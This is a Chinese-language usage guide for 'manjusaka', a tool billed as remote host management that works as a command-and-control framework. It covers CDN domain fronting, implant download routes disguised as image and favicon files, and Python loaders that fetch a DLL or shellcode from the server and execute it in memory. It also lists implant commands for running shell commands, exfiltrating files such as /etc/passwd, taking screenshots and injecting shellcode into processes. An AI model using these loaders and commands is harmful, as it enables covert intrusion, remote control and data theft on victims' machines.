工具介紹

manjusaka牛屎花是一款基于WEB界面的遠程主機管理工具,系統架構見下圖。

使用方法

配置conf.toml 運行主文件

[root@devops nps]# ./manjusaka[NPS] 2022/09/14 15:57:21 初始用戶: manjusaka  密碼: ZbFCa2L2LRd5[NPS] 2022/09/14 15:57:21 創建項目: 公共項目 沒有歸屬的npc放在這個項目里面[NPS] 2022/09/14 15:57:21 監聽項目路由: VHOS5vqN[NPS] 2022/09/14 15:57:21 NPS監聽地址 :3200[NPS] 2022/09/14 15:57:21 NPU后臺地址 : manjusaka[NPS] 2022/09/14 15:57:21 NPC監聽地址 :801[NPS] 2022/09/14 15:57:21 NPC交互路由 : /:target/favicon.ico[NPS] 2022/09/14 15:57:21 NPC下載路由 : /:target/assert/:sys/bg.jpg[NPS] 2022/09/14 15:57:21 NPC文件路由 : /images/:fid/logo.png

賬號密碼見初始日志,每個人生成的密碼及默認路由都不一樣,可編輯nps.db文件自行修改。

1、創建項目,默認有一個公共項目,通過項目【狀態】開關可以控制項目是否啟用狀態。選擇當前項目后 可在回傳結果里面查看當前項目回傳的信息。

新建項目 配置需要填寫以下項:

項目名稱: 隨便寫,如:hvv2022回調地址: 外網IP和端口:http://12.34.56.78:8080上線域名: cdn域名,如:http://imagecdn2.alicdn.com 如果沒有上cdn則填寫和回調地址一樣Host頭 : cdn上線時所需要的host請求頭,如:update.baiduimage.com 默認為上線域名代理地址: NPC上線時如果需要走代理,在這里配置。比如我測試用的clash,代理配置為http://192.168.93.1:7890 詳見:https://docs.rs/reqwest/0.11.16/reqwest/struct.Proxy.html

其它都會默認生成,點擊確定更新之后需要刷新列表重新啟用項目狀態。

2、根據項目 生成npc 可以直接使用exe或elf格式的npc。也可以使用其它語言加載npc母體 比如使用python加載npc母體dll

import requestsfrom ctypes import cdllres = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/dll/x64/bg.jpg")with open("a.dll","wb") as f:    f.write(res.content)cdll.LoadLibrary("a.dll").main()

或者使用shellcode內存加載的形式

import requestsimport ctypesshellcode = requests.get("http://192.168.93.217:801/bq1iFEP2/assert/bin/x64/bg.jpg").contentrwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)ctypes.windll.kernel32.RtlMoveMemory(rwxpage, shellcode, len(shellcode))handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

3、npc上線,點選中該npc即可對其進行操作, 輸入help可查看幫助。目前支持的操作命令如下:

help      打印幫助 ps        查看進程 eg: psss        查看網絡連接 eg: ssls        枚舉文件 eg: ls /cd        切換目錄 eg: cd / sh        執行系統命令  eg: sh ps -aux  , sh tasklist  cat       讀取文本 cat a.txtscreen    執行截屏 screenwget      下載文件 eg: wget http://192.168.1.1/a.txt <a.txt>    文件名可選 默認當前  put       上傳文件 eg: put /etc/passwd                          將passwd文件上傳到nps服務器  start     執行插件可執行文件 eg: start name <args>               需要可執行文件在plugins目錄下 會自動把插件傳到目標機器上面pl        執行插件 eg: pl plugname <plugargs>                   需要插件在plugins目錄下 inject    注入進程 eg: inject pid <shellcodeurl>                shellcodeurl可選 默認下載當前shellcode下載鏈接